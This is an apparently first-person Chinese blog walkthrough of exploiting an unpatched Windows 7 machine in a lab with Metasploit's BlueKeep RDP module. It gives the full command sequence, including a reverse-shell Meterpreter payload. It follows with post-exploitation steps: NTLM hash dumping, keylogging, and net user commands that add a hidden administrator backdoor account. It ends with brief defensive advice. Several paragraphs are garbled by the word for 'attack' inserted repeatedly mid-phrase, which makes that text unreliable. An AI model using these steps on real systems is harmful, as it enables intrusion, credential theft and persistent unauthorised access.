内容摘要：Metasploit里敲下exploit回车的那一秒，Win7虚拟机的屏幕闪了一下，然后弹出一个Meterpreter会话。就这？对，就这。一个没打补丁的Windows 7 SP1，从扫描到拿到SYS

Metasploit里敲下exploit回车的攻击那一秒，Win7虚拟机的攻击屏幕闪了一下，然后弹出一个Meterpreter会话。攻击就这？攻击对，就这。攻击一个没打补丁的攻击Windows 7 SP1，从扫描到拿到SYSTEM权限，攻击全程不到三分钟。攻击这不是攻击什么电影桥段，是攻击我上周在VMware里重复了十几遍的操作。

先说环境。攻击攻击机Kali 2024.1，攻击IP 192.168.56.101。攻击靶机Win7 SP1 x64，攻击IP 192.168.56.102，攻击防火墙关着，UAC默认级别。为什么用Win7？因为它太典型了——微软2020年就停止支持了，但很多内网里还跑着这玩意儿，医院、工厂、老旧办公系统，到处都是。你拿它练手，比打那些打了补丁的现代系统有成就感得多。

第一步永远是信息收集。我习惯先用nmap -sV 192.168.56.102扫一遍。结果很干净：135、139、445、3389开着。445端口开着，这就有意思了。SMB服务在Win7上是个重灾区，MS17-010永恒之蓝就是从这儿进去的。不过今天我不打算用它——那个太出名了，杀软基本都拦。我选另一个：CVE-2019-0708，BlueKeep，RDP远程桌面漏洞。

Kali里启动Metasploit：msfconsole。搜索模块：search bluekeep。出来两个，用use exploit/windows/rdp/cve_2019_0708_bluekeep_rce。设置目标IP和payload：set RHOSTS 192.168.56.102，set PAYLOAD windows/x64/meterpreter/reverse_tcp，set LHOST 192.168.56.101。然后check一下，返回“The target is vulnerable”。

敲exploit。屏幕开始刷日志，RDP连接协商、堆喷射、内核地址泄露……大概四十秒后，一个Meterpreter提示符跳出来。getuid，返回NT AUTHORITY\SYSTEM。最高权限，连提权都省了。

接下来能干什么？hashdump把SAM数据库里的NTLM哈希全导出来，screenshot截屏，keyscan_start开键盘记录。我甚至试过shell进去，直接net user hacker P@ssw0rd /add，再net localgroup administrators hacker /add，一个后门账户就建好了。整个过程Win7那边没有任何弹窗，用户该干嘛干嘛。

有人问，这玩意儿实战有用吗？说实话，BlueKeep的利用条件挺苛刻——目标得开着RDP，系统版本得对，内存布局得刚好。我试过在另一台打了补丁的Win7上跑，直接蓝屏。但反过来说，内网里那些没人管的旧机器，十台里有三台能中。去年有个客户让我做渗透测试，他们的财务系统跑在Win7上，RDP端口对内网开放，我用同样的方法十分钟就拿到了域管权限。客户脸都绿了。

防御？打补丁，关RDP，开防火墙，上EDR。但现实是，很多老系统根本没法打补丁——业务软件不兼容，一更新就崩。那就只能网络隔离，把Win7扔进单独的VLAN，只允许特定IP访问。别指望杀软，Meterpreter的流量加密过，特征码天天变，传统AV基本瞎。

最后说个细节。每次拿到会话后，我都会敲sysinfo看一眼。那台Win7的计算机名是“FINANCE-PC”，登录用户是“张会计”。屏幕上还开着Excel，表格里是上个月的报销单。这种时候你才意识到，漏洞不是代码里的抽象概念，它背后是活生生的人和没关掉的机器。